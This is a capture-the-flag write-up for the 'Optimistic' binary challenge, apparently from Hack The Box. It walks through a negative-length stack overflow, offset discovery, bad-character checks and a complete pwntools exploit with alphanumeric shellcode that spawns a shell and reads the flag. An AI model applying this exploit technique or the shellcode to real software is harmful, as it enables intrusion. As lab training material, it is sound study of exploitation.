

Optimistic

1) decompiled it

C: Decompile: main - (optimistic)

```

10 char choice;
11 undefined local_79;
12 undefined auStack_78 [8];
13 undefined auStack_70 [8];
14 char array [96];
15
16 initialize();
17 puts("Welcome to the positive community!");
18 puts("We help you embrace optimism.");
19 printf("Would you like to enroll yourself? (y/n): ");
20 input = getchar();
21 choice = (char)input;
22 getchar();
23 if (choice != 'y') {
24     puts("Too bad, see you next time :(");
25     local_79 = 0x6e;
26     /* WARNING: Subroutine does not return */
27     exit(0);
28 }
29 printf("Great! Here's a small welcome gift: %p\n",&stack0xffffffffffffffff8);
30 puts("Please provide your details.");
31 printf("Email: ");
32 temp = read(0,auStack_78,8);
33 mail = (undefined2)temp;
34 printf("Age: ");
35 temp = read(0,auStack_70,8);
36 age = (undefined4)temp;
37 printf("Length of name: ");
38 __isoc99_scanf(&DAT_00102104,&length);
39 if (0x40 < (int)length) {
40     puts("Woah there! You shouldn't be too optimistic.");
41     /* WARNING: Subroutine does not return */
42     exit(0);
43 }
44 printf("Name: ");
45 temp = read(0,array,(ulong)length);
46 length = 0;
47 while( true ) {
48     if ((int)temp + -9 <= (int)length) {
49         puts("Thank you! We'll be in touch soon.");
50         return;
51     }
52     input = isalpha((int)array[(int)length]);
53     if ((input == 0) && (9 < (int)array[(int)length] - 0x30U)) break;
54     length = length + 1;
55 }
56 puts("Sorry, that's an invalid name.");
57 /* WARNING: Subroutine does not return */
58 exit(0);
59 }
--

```

2) we can give negative number for length here and it will be converted to unsigned on read, so we

can overflow the array

3) found offset

```
(vigneswar@VigneswarPC) - [~/Reverse/Optimistic]
$ python3 ./exploit.py
[*] Starting local process './optimistic': pid 18289
[*] Starting local process './optimistic': pid 18289
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '18289', '-x', '/tmp/pwn_zap6drk.gdb']
[*] Waiting for debugger: Done
[*] Switching to interactive mode
Name: $ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Thank you! We'll be in touch soon.
$
```

```
$r14 : 0x0
$r15 : 0x00007f20e58d9000 → 0x00007f20e58da2d0 → 0x00005590b76a0000 →
      jg 0x5590b76a0047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RES
UME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

stack
0x00007ffea6fad958|+0x0000: "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af
0A[...]" ← $rsp
0x00007ffea6fad960|+0x0008: "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3[...]"
0x00007ffea6fad968|+0x0010: "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5
Af[...]"
0x00007ffea6fad970|+0x0018: "2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af
8A[...]"
0x00007ffea6fad978|+0x0020: "e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0A
g1[...]"
0x00007ffea6fad980|+0x0028: "Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag[...]"
0x00007ffea6fad988|+0x0030: "0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
\n[...]"
0x00007ffea6fad990|+0x0038: 0x3566413466413366

code:x86:64
0x5590b76a1404 <main+475> call 0x5590b76a1030 <puts@plt>
0x5590b76a1409 <main+480> nop
0x5590b76a140a <main+481> leave
→ 0x5590b76a140b <main+482> ret
[!] Cannot disassemble from $PC

threads
[#0] Id 1, Name: "optimistic", stopped 0x5590b76a140b in main (), reason: SIG
SEGV

trace
[#0] 0x5590b76a140b → main()

gef> b puts
Breakpoint 1 at 0x7f20e572cb00: file ./libio/ioputs.c, line 35.
gef> x/a $rsp
0x7ffea6fad958: 0x4136644135644134
gef>
```

```
(vigneswar@VigneswarPC) - [~/Reverse/Optimistic]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x4136644135644134
[*] Exact match at offset 104
```

3) generated bad characters

```
C test.c
1 #include <stdio.h>
2 #include <ctype.h>
3
4 int main() {
5     printf("\x80");
6     for(int i = 57; i < 256; i++){
7         if(!isalpha(i)){
8             printf("\x%x", i);
9         }
10    }
11    return 0;
12 }
```

```
(vigneswar@VigneswarPC) - [~/Reverse/Optimistic]
$ gcc ./test.c -o test.out
$ ./test.out
\x80\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x5b\x5c\x5d\x5e\x5f\x60\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xca\xcb\xcc\xcd\xce\xcf\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
```

\80 was found bad manually, others are blocked by the loop part

4) found payload

from pwn import *

```
context(os="linux", arch="amd64", log_level="error")
app = process('./optimistic')
buf = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4
```

```

jWSEW18EF0V'
app.recvuntil(b':')
app.sendline(b'y')
temp = app.recvuntil(b'Email:').decode() #mail
address = (int(re.search(r'0x([0-9a-f]{12})', temp).group(1), 16)-96).to_bytes(8, 'little')
print(re.search(r'0x([0-9a-f]{12})', temp).group(1))
app.sendline(b'')
app.recvuntil(b':') #age
app.sendline(b'')
app.recvuntil(b':') #length of name
app.sendline(b'-1')
payload = buf+b'0'*(104-len(buf))+address
app.sendline(payload)
app.interactive()

```

5) stack position

RBP

96 <CHAR ARRAY>

<SHELLCODE>

<PADDING>

104<ADDRESS>

6) exploitation

```

(vigneswar@VigneswarPC)-[~/Reverse/Optimistic]
$ python3 exploit.py
7ffe427a02f0
Name: Thank you! We'll be in touch soon.
$ ls
flag.txt
optimistic
$ cat flag.txt
HTB{be1ng_negat1v3_pays_0ff!}
$ █

```